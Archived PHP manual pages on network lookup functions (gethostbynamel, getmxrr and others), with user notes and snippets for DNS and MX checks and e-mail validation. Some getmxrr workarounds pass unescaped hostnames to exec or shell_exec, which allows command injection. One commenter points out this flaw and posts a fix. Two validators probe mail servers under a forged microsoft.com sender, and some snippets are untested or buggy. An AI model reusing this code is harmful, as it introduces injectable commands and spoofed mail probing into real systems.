$lookup = implode('.', $rev) . '.' . $rbl;
if ($lookup != gethostbyname($lookup)) {
    echo "ip: $host is listed in $rbl\n";
} else {
    echo "ip: $host NOT listed in $rbl\n";
}
?>

Tomas V.V.Cox
Vincent 15-Jul-2004 06:14
Note that if you pass an IP address to gethostbyname() it will return that IP address.
30-Mar-2004 11:49
The dns entries get cached, whether they exist or not.  Expect really good response times after the first one.
christian at SPAM at IS at DEAD at MEAT at karg dot org 01-Apr-2003 01:12
I had difficulty getting gethostbyname to work under OpenBSD 3.2 and Apache, until I discovered that the default Apache chroot caused the problem.

To get PHP's gethostbyname to work, you need resolv.conf (and possibly hosts) in /var/www/etc (assuming default install dirs).
tonyhana at sixzeros dot com 04-Jul-2002 04:43
<?php
//script to time DNS propagation
//(Above script modified slightly to show micro time)
//seems pretty damn quick to me.. I'm getting .0055 sec worstcase badhost times.

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Good Host Search took $time seconds<br><br>";

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
    $time_start = getmicrotime();
    testipaddress($nametotest);
    $time_end = getmicrotime();
    $time = $time_end - $time_start;
    echo "Bad Host Search took $time seconds<br>";

function getmicrotime(){
    list($usec, $sec) = explode(" ",microtime());
    return ((float)$usec + (float)$sec);
    }

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host<br>";
    }
    else {
        echo "good hostname, $nametotest ipaddress = $ipaddress<br>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>
sjohnson at fuzzygroup dot com 16-Mar-2002 07:27
<?php

//script to see if host exists on Internet

//following up on the above point about host name
//checking and SQL timeouts, run this test script
//and see how long it takes for 2nd call to
//hostname check to fail
//NOTE -- not PHP's fault -- nature of DNS

//A known good dns name (my own)
    $nametotest = "fuzzygroup.com";

//Call address test function
    testipaddress($nametotest);

//A known bad name (trust me)
    $nametotest = "providence.mascot.com";
//Call address test function
    testipaddress($nametotest);

//ip address checking function
//for real use should have a return value but example code
function testipaddress ($nametotest) {
    $ipaddress = $nametotest;
    $ipaddress = gethostbyname($nametotest);
    if ($ipaddress == $nametotest) {
        echo "No ip address for host, so host "
             . "not currently available in DNS and "
             . "probably offline for some time<BR>";
    }
    else {
        echo "good hostname, ipaddress = $ipaddress<BR>";
    }
}

//Recommended fix for sql applications:
// store url to temporary table
// run second process periodically to
// check urls and update main table
?>


Get a list of IPv4 addresses corresponding to a given Internet host name

  • « gethostbyname
  • gethostname »
  • PHP Manual
  • Network Functions
  • Get a list of IPv4 addresses corresponding to a given Internet host name

gethostbynamel

(PHP 4, PHP 5)

gethostbynamel — Get a list of IPv4 addresses corresponding to a given Internet host name

Description

array gethostbynamel ( string $hostname )

Returns a list of IPv4 addresses to which the Internet host specified by hostname resolves.

Parameters

hostname

The host name.

Return Values

Returns an array of IPv4 addresses or FALSE if hostname could not be resolved.

Examples

Example #1 gethostbynamel() example

<?php
$hosts = gethostbynamel('www.example.com');
print_r($hosts);
?>

The above example will output:

Array
(
    [0] => 192.0.34.166
)

See Also

  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • checkdnsrr() - Check DNS records corresponding to a given Internet host name or IP address
  • getmxrr() - Get MX records corresponding to a given Internet host name
  • the named(8) manual page

User Contributed Notes

info at methfessel-computers.de 30-Sep-2006 12:27
The solution is simpel. Just add a . (point) to the end of the URL for correct name resolving.

Without this point PHP thinks it's a subdomain of your local domain and so returns the "local-IP".
webdev at concraption dot com 19-Sep-2005 08:25
In PHP 5.0.4, gethostbynamel returns an empty string instead of false if the lookup fails. A simple workaround for this error is to use is_array() in an IF block:

<?
$hosts = gethostbynamel($hostname);
if (is_array($hosts)) {
     echo "Host ".$hostname." resolves to:<br><br>";
     foreach ($hosts as $ip) {
          echo "IP: ".$ip."<br>";
     }
} else {
     echo "Host ".$hostname." is not tied to any IP.";
}
?>
Skyld at o2 dot co dot uk 25-Sep-2004 10:45
Obviously, in some cases, not all IPs are likely to be useful while checking a hostname. Sometimes also, not all IPs will work. This code will check for the first WORKING IP from the list. Or at least it should - I haven't had time to test it yet.
Needs domain parameter, and port and max IPs to check are optional.
If port is not set, it will check HTTP port 80, and if max IPs to check is not set, it will only check the first 10 IPs from the list.
Hope it helps someone.

<?php
  function checkhostlist($domain, $port = 80, $maxipstocheck = 10) {
  � $hosts = gethostbynamel($domain);
    for ($chk=0;$chk<$maxipstocheck;$chk++) {
      if (isset($hosts[$chk])) {
        $th = fsockopen($domain, $port);
        if ($th) {
          fclose($th);
          return $hosts[$chk];
          break;
        }
      }
    }
  }
?>


Gets the host name

  • « gethostbynamel
  • getmxrr »
  • PHP Manual
  • Network Functions
  • Gets the host name

gethostname

(PHP >= 5.3.0)

gethostname — Gets the host name

Description

string gethostname ( void )

gethostname() gets the standard host name for the local machine.

Return Values

Returns a string with the hostname on success, otherwise FALSE is returned.

Examples

Example #1 A simple gethostname() example

<?php
echo gethostname(); // may output e.g,: sandie

// Or, an option that also works before PHP 5.3
echo php_uname('n'); // may output e.g,: sandie
?>

See Also

  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • php_uname() - Returns information about the operating system PHP is running on

User Contributed Notes

sainthyoga2003 at gmail dot com 15-Jan-2014 02:28
for those who looks to get client machine name. this function only returns the server name where is running the app.

'n' parameter works for PHP 5.3 and earlier
------------------

para aquellos que buscan obtener el nombre de la máquina cliente. Esta función solo devuelve el nombre del servidor donde se está ejecutando el código.

El parámetro 'n' funciona para versiones anteriores a PHP 5.3
ws at satya-weblog dot com 02-Dec-2013 03:59
Reply to above answer that, on window (wins 7)
 echo gethostname();

is working now.
JP 31-Mar-2010 09:55
You can use php_uname("n") in Windows to return the host name. You may have worked this out already but it took my a blinkin age!


Get MX records corresponding to a given Internet host name

  • « gethostname
  • getprotobyname »
  • PHP Manual
  • Network Functions
  • Get MX records corresponding to a given Internet host name

getmxrr

(PHP 4, PHP 5)

getmxrr — Get MX records corresponding to a given Internet host name

Description

bool getmxrr ( string $hostname , array &$mxhosts [, array &$weight ] )

Searches DNS for MX records corresponding to hostname.

Parameters

hostname

The Internet host name.

mxhosts

A list of the MX records found is placed into the array mxhosts.

weight

If the weight array is given, it will be filled with the weight information gathered.

Return Values

Returns TRUE if any records are found; returns FALSE if no records were found or if an error occurred.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Notes

Note:

This function should not be used for the purposes of address verification. Only the mailexchangers found in DNS are returned, however, according to » RFC 2821 when no mail exchangers are listed, hostname itself should be used as the only mail exchanger with a priority of 0.

Note:

For compatibility with Windows before this was implemented, then try the » PEAR class » Net_DNS.

See Also

  • checkdnsrr() - Check DNS records corresponding to a given Internet host name or IP address
  • dns_get_record() - Fetch DNS Resource Records associated with a hostname
  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • the named(8) manual page

User Contributed Notes

Robert Imhoff 27-Mar-2011 03:21
I tried using getmxrr() to validate the domain portion of email addresses in enquiry submission forms, and there is a curious effect with some top-level domains when checking non-existant domains.

With sdlkfjsdl.com, since the domain does not exist, getmxrr() returns false, as expected, and the returned mxhosts array is empty.

But with sdlkfjsdl.gov, getmxrr() returns true,  and the returned mxhosts array contains one element: NULL

With sdlkfjsdl.org, getmxrr() returns true,  and the returned mxhosts array contains one element: '0.0.0.0'

With sdlkfjsdl.co.uk, getmxrr()  returns true and supplies one MX record: uk-net-wildcard-null-mx.centralnic.net

So to validate the email domain, it would seem one has to check the returned mxhosts array to exclude the possibility of mxhosts being returned as NULL, 0.0.0.0 and wildcard ...
php [spat] hm2k.org 06-Jan-2009 11:18
I decided to have a bash at this after doing a bit of research...

<?php

// getmxrr() support for Windows by HM2K <php [spat] hm2k.org>
function win_getmxrr($hostname, &$mxhosts, &$mxweight=false) {
    if (strtoupper(substr(PHP_OS, 0, 3)) != 'WIN') return;
    if (!is_array ($mxhosts) ) $mxhosts = array();
    if (empty($hostname)) return;
    $exec='nslookup -type=MX '.escapeshellarg($hostname);
    @exec($exec, $output);
    if (empty($output)) return;
    $i=-1;
    foreach ($output as $line) {
        $i++;
        if (preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i", $line, $parts)) {
          $mxweight[$i] = trim($parts[1]);
          $mxhosts[$i] = trim($parts[2]);
        }
        if (preg_match('/responsible mail addr = (.+)$/i', $line, $parts)) {
          $mxweight[$i] = $i;
          $mxhosts[$i] = trim($parts[1]);
        }
    }
    return ($i!=-1);
}

// Define
if (!function_exists('getmxrr')) {
    function getmxrr($hostname, &$mxhosts, &$mxweight=false) {
        return win_getmxrr($hostname, $mxhosts, $mxweight);
    }
}

/* example */

$domain='php.net';
echo "<pre>";
getmxrr($domain,$mxhosts,$mxweight);
print_r($mxhosts);
print_r($mxweight);

?>
TZ at inpetho dot net 12-Dec-2007 07:35
If greylisting is installed on the mx host then he send a "451 4.7.1 Please try again later"

My code fragment:

<?php
//...
foreach ($mx_records as $mx_host) {
    $code = CheckMX($mx_host, $eMail);
    if ($code == 0)    continue; // host not found
    if ($code == 451)    $code = CheckMX($mx_host, $eMail); // Greylisting
    if ($code == 250)    {
        $ok = true;
        break;
    }
}
//...

function CheckMX($mx_host, $eMail)
{
    $code = 0;
    $fp = @fsockopen($mx_host, 25, $errno, $errstr, 2);
    if ($fp)    {
        send_command($fp, 'HELO microsoft.com');
        send_command($fp, 'MAIL FROM:<support@microsoft.com>');
        $erg = send_command($fp, 'RCPT TO:<'.$eMail.'>');
        fclose($fp);
        $code = intval(substr($erg, 0, 3));
    }
    return $code;
}
//...
?>
Jay 12-Sep-2007 01:10
As stated, some of the code listed below will have trouble with multiple equal weights, such as if you query gmail.com. The following code will prevent that by switching the key/values.

<?php

// Get the records
getmxrr("gmail.com", $mx_records, $mx_weight);

// Put the records together in a array we can sort
for($i=0;$i<count($mx_records);$i++){
    $mxs[$mx_records[$i]] = $mx_weight[$i];
}

// Sort them
asort ($mxs);

// Since the keys actually hold the data we want, just put those in an array, called records
$records = array_keys($mxs);

// Simply echoes all the stuff in the records array
for($i = 0; $i < count($records); $i++){
    echo $records[$i];
    echo '<br>';
}

?>

If you wanted to get the weight, you would use "array_values($mxs);" instead of "array_keys($mxs);".

Hope this helps some people.
tomhutter at web dot de 20-Oct-2006 09:50
Leonardt's code fails with multiple mx records with the same wight. You can easily change this by switching keys and values in the mxs array:

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_records[$i]] = $mx_weight[$i];
     }

     arsort ($mxs );
     reset ($mxs);

    while (list ($mx_host, $mx_weight) = each ($mxs) ) {

cheers

Tom
php dot net at oitc dot com 15-Oct-2006 02:28
This function has some strange side effects when dealing with aliases...

My function:

        if (getmxrr($fqdn, $mx_records, $mx_weight)) {
            // copy mx records and weight into array $mxs
            // ignore multiple mx's at the same weight
            for ($i = 0; $i < count($mx_records); $i++) {
                $mxs[$mx_weight[$i]] = $mx_records[$i];
            }
            // sort array mxs to get servers with highest priority
            ksort ($mxs, SORT_NUMERIC);
            reset ($mxs);
        } else {
            // No MX so use A
            $mxs[0]= $fqdn;
        }

fails because a $fqdn containing an alias returns a true yet on return both $mx_records and $mx_weight contain nothing!

The solution until this gets fixed is to replace if (getmxrr($fqdn, $mx_records, $mx_weight)) with

        // Handle aliases etc.
        if ($result = getmxrr($fqdn, $mx_records, $mx_weight)) {
            if(!isset($mx_records) || (count($mx_records) == 0)) $result = false;
        }
        // Process MXs
        if ($result) {

Hope this helps others....  Tom
MagicalTux at ooKoo dot org 24-Sep-2006 04:59
If you want to use getmxrr on windows, be careful as choward AT fast DOT net DOT NO SPAM PLZ's function has a security flaw.

It passes its argument to an external command without escaping it. If you don't validate the input, someone may manage to run nasty things on your system.

Here's a fixed version (just added escapeshellarg())

<?php
function getmxrr($hostname, &$mxhosts)
{
    $mxhosts = array();
    exec('%SYSTEMDIRECTORY%\\nslookup.exe -q=mx '.escapeshellarg($hostname), $result_arr);
    foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
    return( count($mxhosts) > 0 );
}//--End of workaround

//test..
getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

This way you'll avoid a lot of nasty things ;)
Lennart Poot(www.twing.nl) 07-Apr-2006 09:23
This script validates an e-mail adress using getmxrr and fsockopen

1. it validates the syntax of the address.
2. get MX records by hostname
3. connect mail server and verify mailbox(using smtp command RCTP TO:<email>)

When the function "validate_email([email])" fails connecting the mail server with the highest priority in the MX record it will continue with the second mail server and so on..

The function "validate_email([email])" returns 0 when it failes one the 3 steps above, it will return 1 otherwise

Grtz Lennart Poot

<?
function validate_email($email){
   $mailparts=explode("@",$email);
   $hostname = $mailparts[1];

   // validate email address syntax
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
   $b_valid_syntax=eregi($exp, $email);

   // get mx addresses by getmxrr
   $b_mx_avail=getmxrr( $hostname, $mx_records, $mx_weight );
   $b_server_found=0;

   if($b_valid_syntax && $b_mx_avail){
     // copy mx records and weight into array $mxs
     $mxs=array();

     for($i=0;$i<count($mx_records);$i++){
       $mxs[$mx_weight[$i]]=$mx_records[$i];
     }

     // sort array mxs to get servers with highest prio
     ksort ($mxs, SORT_NUMERIC );
     reset ($mxs);

     while (list ($mx_weight, $mx_host) = each ($mxs) ) {
       if($b_server_found == 0){

         //try connection on port 25
         $fp = @fsockopen($mx_host,25, $errno, $errstr, 2);
         if($fp){
           $ms_resp="";
           // say HELO to mailserver
           $ms_resp.=send_command($fp, "HELO microsoft.com");

           // initialize sending mail
           $ms_resp.=send_command($fp, "MAIL FROM:<support@microsoft.com>");

           // try receipent address, will return 250 when ok..
           $rcpt_text=send_command($fp, "RCPT TO:<".$email.">");
           $ms_resp.=$rcpt_text;

           if(substr( $rcpt_text, 0, 3) == "250")
             $b_server_found=1;

           // quit mail server connection
           $ms_resp.=send_command($fp, "QUIT");

         fclose($fp);

         }

       }
    }
  }
  return $b_server_found;
}

function send_command($fp, $out){

  fwrite($fp, $out . "\r\n");
  return get_data($fp);
}

function get_data($fp){
  $s="";
  stream_set_timeout($fp, 2);

  for($i=0;$i<2;$i++)
    $s.=fgets($fp, 1024);

  return $s;
}

// support windows platforms
if (!function_exists ('getmxrr') ) {
  function getmxrr($hostname, &$mxhosts, &$mxweight) {
    if (!is_array ($mxhosts) ) {
      $mxhosts = array ();
    }

    if (!empty ($hostname) ) {
      $output = "";
      @exec ("nslookup.exe -type=MX $hostname.", $output);
      $imx=-1;

      foreach ($output as $line) {
        $imx++;
        $parts = "";
        if (preg_match ("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.*)$/", $line, $parts) ) {
          $mxweight[$imx] = $parts[1];
          $mxhosts[$imx] = $parts[2];
        }
      }
      return ($imx!=-1);
    }
    return false;
  }
}

?>
jeff at pzenix dot com 08-Mar-2006 06:58
I should point out that the below example won't work with some domains (.co.uk, .org.uk, .net.uk for example) because it assumes (possibly incorrectly) that the format is [ DOMAIN ].[ EXT ].
off at NOSPAM dot abwesend dot de 11-Feb-2006 04:18
Concerning the message by 'rolf at rowi dot net' (do a check on a address containing a subdomain) we could use:

$email = 'abc@etpc01.trier.fh-rpl.de';

$strDot      = '.';
$strAfterAt  = substr(strstr($email, '@'), 1);
$chunks      = explode($strDot, $strAfterAt);
$cntChunks   = count($chunks) - 1;

$strDomain = $chunks[($cntChunks-1)] . $strDot . $chunks[$cntChunks];

if (!getmxrr( $strDomain, $mxhosts )) {
    echo 'Mailserver not found';
}

// $strDomain is set to 'fh-rpl.de';
31-Aug-2005 05:16
nice function for validating email-adresses! Take care on "register globals" paramter.

http://www.zend.com/zend/spotlight/ev12apr.php
richard dot quadling at bandvulc dot co dot uk 25-May-2005 11:04
Windows alternative for getmxrr without the need for PEAR.

<?php
define('DEFAULT_GATEWAY', 'nnn.nnn.nnn.nnn');
if (!function_exists('getmxrr'))
    {
    /*
        This function is a replacement for the missing Windows function getmxrr.

        The parameters are the same as those for the normal getmxrr function.

        The steps this function takes are :

        1 - Use NSLOOKUP.EXE to get the MX records for the supplied Host.
        2 - Use regular expressions to extract the mail servers and the preference.
        3 - Sort the results by preference.
        4 - Set the return arrays.
        5 - Return true or false.
    */
    function getmxrr($s_HostName, array &$a_MXHosts = NULL, array &$a_Weights = NULL)
        {
        // Simulate all the required network activity by executing windows' NSLOOKUP.
        $s_NSLookup = shell_exec("nslookup -q=mx {$s_HostName} 2>nul");
        preg_match_all("'^.*MX preference = (\d{1,10}), mail exchanger = (.*)$'simU", $s_NSLookup, $a_MXMatches);

        // If there is something to return ...
        if (count($a_MXMatches[2]) > 0)
            {
            // Produce output arrays if they have been requested.
            $i_ArgCount = func_num_args();
            if ($i_ArgCount > 1)
                {
                array_multisort($a_MXMatches[1], $a_MXMatches[2]);
                switch ($i_ArgCount)
                    {
                    case 3 :
                        $a_Weights = $a_MXMatches[1];
                    case 2 :
                        $a_MXHosts = $a_MXMatches[2];
                    }
                }
            return True;
            }
        else
            {
            return False;
            }
        }
    }
?>

You will need to know your default gateway (either it's IP address or its name).

To do this, run the program IPCONFIG /ALL at a cmd prompt and look for the Default Gateway.

Then replace the 'nnn.nnn.nnn.nnn' with the address.

Richard.
rune dot heggtveit at devzone dot progative dot com 23-Jan-2005 10:02
An other way to do mx-lookup on a windows platform.
Rewrote this from an other class i wrote for DNS lookup - so it might be a bit messy - but hope you get the idea.

Big thanks to the rfc community.

<?php

class mxlookup
{
      var $dns_socket = NULL;
      var $QNAME = "";
      var $dns_packet= NULL;
      var $ANCOUNT = 0;
      var $cIx = 0;
      var $dns_repl_domain;
      var $arrMX = array();

      function mxlookup($domain, $dns="192.168.2.1")
      {
         $this->QNAME($domain);
         $this->pack_dns_packet();
         $dns_socket = fsockopen("udp://$dns", 53);

         fwrite($dns_socket,$this->dns_packet,strlen($this->dns_packet));
         $this->dns_reply  = fread($dns_socket,1);
         $bytes = stream_get_meta_data($dns_socket);
         $this->dns_reply .= fread($dns_socket,$bytes['unread_bytes']);
         fclose($dns_socket);
         $this->cIx=6;
         $this->ANCOUNT   = $this->gord(2);
         $this->cIx+=4;
         $this->parse_data($this->dns_repl_domain);
         $this->cIx+=7;

         for($ic=1;$ic<=$this->ANCOUNT;$ic++)
         {
           $QTYPE = ord($this->gdi($this->cIx));
           if($QTYPE!==15){print("[MX Record not returned]"); die();}
           $this->cIx+=9;
           $mxPref = ord($this->gdi($this->cIx));
           $this->parse_data($curmx);
           $this->arrMX[] = array("MX_Pref" => $mxPref, "MX" => $curmx);
           $this->cIx+=3;
         }
      }

      function parse_data(&$retval)
      {
        $arName = array();
        $byte = ord($this->gdi($this->cIx));
        while($byte!==0)
        {
          if($byte==192) //compressed
          {
            $tmpIx = $this->cIx;
            $this->cIx = ord($this->gdi($cIx));
            $tmpName = $retval;
            $this->parse_data($tmpName);
            $retval=$retval.".".$tmpName;
            $this->cIx = $tmpIx+1;
            return;
          }
          $retval="";
          $bCount = $byte;
          for($b=0;$b<$bCount;$b++)
          {
            $retval .= $this->gdi($this->cIx);
          }
          $arName[]=$retval;
         $byte = ord($this->gdi($this->cIx));
       }
       $retval=join(".",$arName);
     }

     function gdi(&$cIx,$bytes=1)
     {
       $this->cIx++;
       return(substr($this->dns_reply, $this->cIx-1, $bytes));
     }

      function QNAME($domain)
      {
        $dot_pos = 0; $temp = "";
        while($dot_pos=strpos($domain,"."))
        {
          $temp   = substr($domain,0,$dot_pos);
          $domain = substr($domain,$dot_pos+1);
          $this->QNAME .= chr(strlen($temp)).$temp;
        }
        $this->QNAME .= chr(strlen($domain)).$domain.chr(0);
      }

      function gord($ln=1)
      {
        $reply="";
        for($i=0;$i<$ln;$i++){
         $reply.=ord(substr($this->dns_reply,$this->cIx,1));
         $this->cIx++;
         }

        return $reply;
      }

      function pack_dns_packet()
      {
        $this->dns_packet = chr(0).chr(1).
                            chr(1).chr(0).
                            chr(0).chr(1).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            chr(0).chr(0).
                            $this->QNAME.
                            chr(0).chr(15).
                            chr(0).chr(1);
      }

}

?>

<?php

/* Exampe of use: */
$mx = new mxlookup("php.net");

print $mx->ANCOUNT." MX Records\n";
print "Records returned for ".$mx->dns_repl_domain.":\n<pre>";
print_r($mx->arrMX);

?>

Return:

02 MX Records Records returned for php.net:

Array
(
    [0] => Array
        (
            [MX_Pref] => 15
            [MX] => smtp.osuosl.org
        )

    [1] => Array
        (
            [MX_Pref] => 5
            [MX] => osu1.php.net
        )

)
rolf at rowi dot net 21-Jan-2005 03:36
Be aware that not just user@example.com ist a valid address, also user@subnet.example.com is valid (but maybe less common). Just got into trouble with this check...

Rolf
siclawrence at gmail dot com 04-Jan-2005 03:43
This code replicates online tools that let you check if an email address is valid. First it checks if the email format is correct, then looks up and prints the mx records. All nicely formatted with fancy words that in the end prints whether the email address valid or invalid.

<?php
$email = "email@domain.com";

print("Checking: $email<br>");

if (eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)+$", $email)) {

    print("Format Test: PASSED<br>");
    print("Online host verification Test...<br><br>");
    print("MX Records for: $email<br>");

    list($alias, $domain) = split("@", $email);

    if (checkdnsrr($domain, "MX")) {

        getmxrr($domain, $mxhosts);

        foreach($mxhosts as $mxKey => $mxValue){
            print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$mxValue<br>");
        }

        print("Online host verification Test: PASSED<br><br>");
        print("Email Status: VALID");

    } else {

        print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;No records found.<br>");
        print("Online host verification Test: FAILED<br><br>");
        print("Email Status: INVALID");

    }

} else {

    print("Format Test: FAILED<br><br>");
    print("Invalid email address provided.<br><br>");
    print("Email Status: INVALID");

}
?>
zorlac_man at hotmail dot com 14-May-2004 09:15
For some reason this and the other DNS lookup functions seem to be really slow on my Linux box. I've checked several things and have no explanation.

As a work-around, I gave in and just used a system call to dig:

<?php
CheckMX("fakedomain.org");
CheckMX("hotmail.com");

function CheckMX($domain) {
        exec("dig +short MX " . escapeshellarg($domain),$ips);
        if($ips[0] == "") {
                print "MX record found for $domain not found!\n";
                return FALSE;
        }
        print "MX Record for $domain found\n";
        return TRUE;
}
?>

Output:

MX record found for fakedomain.org not found!
MX Record for hotmail.com found

As someone else pointed out, it is prudent to check to see if the TLD has an IP address if the MX record is not found.
ng4rrjanbiah at rediffmail dot com 26-Feb-2004 12:11
Here is a better workaround for Windows platform. Tested on Windows XP. Highly impressed by "geoffbrisbine A T y a h o o DOT c o m"'s idea of nslookup usage.

<?php
function getmxrr($hostname, &$mxhosts)
{
   $mxhosts = array();
   exec('nslookup -type=mx '.$hostname, $result_arr);
   foreach($result_arr as $line)
    {
      if (preg_match("/.*mail exchanger = (.*)/", $line, $matches))
          $mxhosts[] = $matches[1];
    }
   return( count($mxhosts) > 0 );
}//--End of workaround

//test..
echo getmxrr('yahoo.com', $mxhosts);
print_r($mxhosts);
?>

HTH,
R. Rajesh Jeba Anbiah
geoffbrisbine A T y a h o o DOT c o m 25-Sep-2002 06:39
I was pretty disappointed that the Win32 build of PHP doesn't incorporate getmxrr so, since I'm a naive newbie, I decided to hack together my own (and I stress hack).  This has been tested on Win 2000 and Win XP.  There's no reason this shouldn't work on Win NT but it will not work on Win 9x (you need the nslookup command).  It will finish with the array $mx that will be a multidimensional array with the MX preference, host name and ip address. You can do a print_r ( $mx ) to see what it looks like.

-----------------------------------------------

<?php
$command = "nslookup -type=mx yahoo.com";
exec ( $command, $result );

$i = 0;
while ( list ( $key, $value ) = each ( $result ) ) {
    if ( strstr ( $value, "mail exchanger" ) ) { $nslookup[$i] = $value; $i++; }
}

while ( list ( $key, $value ) = each ( $nslookup ) ) {
    $temp = explode ( " ", $value );
    $mx[$key][0] = $temp[3];
    $mx[$key][1] = $temp[7];
    $mx[$key][2] = gethostbyname ( $temp[7] );
}

    array_multisort ( $mx );
?>
paul at start dot co dot uk 16-Jan-2001 09:48
Prevent your dns server from 'creating' a valid host name by appending the local domain to incomplete emails by appending to the domain a  trailing . both in the pattern match and mx checks:

<?php
if (eregi("^[0-9a-z_]([-_.]?[0-9a-z])*@[0-9a-z][-.0-9a-z]*\\.[a-z]{2,3}[.]?$", $string, $check)) {
    $host = substr(strstr($check[0], '@'), 1).".";
    if ( getmxrr($host, $validate_email_temp) )
        return TRUE;
    // THIS WILL CATCH DNSs THAT ARE NOT MX.
    if(checkdnsrr($host,"ANY"))
        return TRUE;
}
?>


Get protocol number associated with protocol name

  • « getmxrr
  • getprotobynumber »
  • PHP Manual
  • Network Functions
  • Get protocol number associated with protocol name

getprotobyname

(PHP 4, PHP 5)

getprotobyname — Get protocol number associated with protocol name

Description

int getprotobyname ( string $name )

getprotobyname() returns the protocol number associated with the protocol name as per /etc/protocols.

Parameters

name

The protocol name.

Return Values

Returns the protocol number, or FALSE on failure.

Examples

Example #1 getprotobyname() example

<?php
$protocol = 'tcp';
$get_prot = getprotobyname($protocol);
if ($get_prot === FALSE) {
    echo 'Invalid Protocol';
} else {
    echo 'Protocol #' . $get_prot;
}
?>

See Also

  • getprotobynumber() - Get protocol name associated with protocol number

User Contributed Notes

Vipindas K.S 08-May-2008 05:33
getprotobyname()
=====================

getprotobyname() gives the protocol number for the given protocol name on the local system.
If the protocol is not recognized, then the function returns -1.
The given code snippet gives the list of protocols along with their protocol numbers
<?
$arr=array("ip","icmp","ggp","tcp",
"egp","pup","udp","hmp","xns-idp",
"rdp","rvd" );
//Reads the names of protocols into an array..
for($i=0;$i<11;$i++)
{
$proname=$arr[$i];
echo $proname .":", getprotobyname ($proname)."<br />";
}

?>


Get protocol name associated with protocol number

  • « getprotobyname
  • getservbyname »
  • PHP Manual
  • Network Functions
  • Get protocol name associated with protocol number

getprotobynumber

(PHP 4, PHP 5)

getprotobynumber — Get protocol name associated with protocol number

Description

string getprotobynumber ( int $number )

getprotobynumber() returns the protocol name associated with protocol number as per /etc/protocols.

Parameters

number

The protocol number.

Return Values

Returns the protocol name as a string, or FALSE on failure.

See Also

  • getprotobyname() - Get protocol number associated with protocol name

User Contributed Notes

i at tiankonguse dot com 28-Nov-2013 08:37
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system.

 If the protocol number is not recognized,the function returns FALSE.

The given code snippet gives the list of protocols along with their protocol numbers

=====================
code

<?
$format = "number <---> protocol\n<br />";
$format = "%6s <---> %s\n<br />";
for($number = 0; $number < 255; $number ++) {
    if (getprotobynumber ( $number ))

        printf ( $format, " $number", getprotobynumber ( $number ) );
}
?>

=====================
OUTPUT:
0 <---> ip
1 <---> icmp
2 <---> igmp
3 <---> ggp
4 <---> ipencap
5 <---> st
6 <---> tcp
8 <---> egp
9 <---> igp
12 <---> pup
17 <---> udp
20 <---> hmp
22 <---> xns-idp
27 <---> rdp
29 <---> iso-tp4
33 <---> dccp
36 <---> xtp
37 <---> ddp
38 <---> idpr-cmtp
41 <---> ipv6
43 <---> ipv6-route
44 <---> ipv6-frag
45 <---> idrp
46 <---> rsvp
47 <---> gre
50 <---> esp
51 <---> ah
57 <---> skip
58 <---> ipv6-icmp
59 <---> ipv6-nonxt
60 <---> ipv6-opts
73 <---> rspf
81 <---> vmtp
88 <---> eigrp
89 <---> ospf
93 <---> ax.25
94 <---> ipip
97 <---> etherip
98 <---> encap
103 <---> pim
108 <---> ipcomp
112 <---> vrrp
115 <---> l2tp
124 <---> isis
132 <---> sctp
133 <---> fc
135 <---> mobility-header
136 <---> udplite
137 <---> mpls-in-ip
138 <---> manet
139 <---> hip
140 <---> shim6
141 <---> wesp
142 <---> rohc
recycling dot sp dot am at gmail dot com 13-Sep-2010 12:40
Note that by the time of writing this note (5.3.3), there seems to be only two defined constants for the protocol numbers: SOL_UDP and SOL_TCP.
For all other protocols (like ICMP,... ) you'll have to provide the exact number (EG: 1 for ICMP, ... )
<?php
    echo getprotobynumber(SOL_TCP) . "\n"; // prints tcp
    echo getprotobynumber(SOL_UDP) . "\n"; // prints udp
    var_dump(getprotobyname('tcp') == SOL_TCP); // bool(true)
    var_dump(getprotobyname('udp') == SOL_UDP); // bool(true)
?>
On a UNIX system (don't know if this is true for Windows), the php functions getprotobyname and getprotobynumber are just wrapper for their corresponding system calls. These functions returns the protocol name or protocol number based on the definition from IANA. If you are looking for a protocol and you don't know its number, you can find the exact protocol number here: http://www.iana.org/assignments/protocol-numbers
Vipindas K.S 08-May-2008 05:39
getprotobynumber()
=====================
getprotobynumber() gets the protocol name for the given protocol number on the local system. If the protocol number is not recognized,the function returns FALSE.The given code snippet gives the list of protocols along with their protocol numbers

<?
$format = "%6s %s\n<br />";
for ($number = 0; $number < 255; $number++)
 {
   if (getprotobynumber ($number))

      printf ($format, " $number-->", getprotobynumber ($number));
 }

?>

OUTPUT:

0--> ip
1--> icmp
3--> ggp
6--> tcp
8--> egp
12--> pup
17--> udp
20--> hmp
22--> xns-idp
27--> rdp
66--> rvd


Get port number associated with an Internet service and protocol

  • « getprotobynumber
  • getservbyport »
  • PHP Manual
  • Network Functions
  • Get port number associated with an Internet service and protocol

getservbyname

